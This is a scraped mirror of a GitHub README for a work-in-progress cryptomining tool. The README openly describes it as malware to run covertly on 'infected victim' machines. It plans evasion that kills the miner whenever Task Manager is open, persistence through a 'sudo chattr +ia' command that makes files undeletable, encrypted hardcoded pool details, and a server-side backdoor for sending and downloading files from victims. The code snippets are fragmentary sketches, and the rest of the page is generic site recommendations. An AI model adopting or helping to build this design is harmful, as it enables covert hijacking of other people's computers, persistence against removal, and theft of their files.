Git Product home page Git Product logo

cryptomining's Introduction

CryptoMining (WORK IN PROGRESS)

This program isn't ready, I'm developing it everyday.

Contributing

Feel free to join the development of this cryptominer with code or ideas.

Help is welcome!

I've created a trello to keep the progress, what have been done, and what else is there to do.

https://trello.com/b/EYUmIGy3/cryptominer

Ideias

Premisses:

  • Multiple Miners
  • less third-parties libraries possible
  • Cryptography to secure client-server communication
  • create hidden/secure directory to store settings and info about the mining process
  • Process hiding and obfuscation / Persistence

Client side

cgminer pool name

Hardcoded encrypted :server, port and mining pool info

The server has to aknowledge new miners.

check if task manager is open

Infected victim should not know or find about the cryptominer

global bool lock_taskmanager = false; 
while(!lock_taskmanager){
     Check_task_manager();
}
continue_mining(); 

Malware + cgminer

One process is responsible for server communication and checking task manager, while the child process will only mine.

If the task manager is opened, the child process is killed. When closed, child will be respawned.

file persistence and undeleted files

    if(root){
        system("sudo chattr +ia file");
    }

Server side

Multithreaded c++ server from scratch, will accept new miners. get info from miners, and will have direct access to the victim machine from a backdoor.

Also will be capable of sending files and downloading files from the infected machine.

Every new miner will have an directory, containing info about the mining time, logs, Keys used to secure communication(cryptography), etc.

C++ curl

sudo apt-get install libcurl4-openssl-dev

cryptomining's People

Contributors

tarcisio-marinho avatar

Watchers

 avatar Issa Mwangwale avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.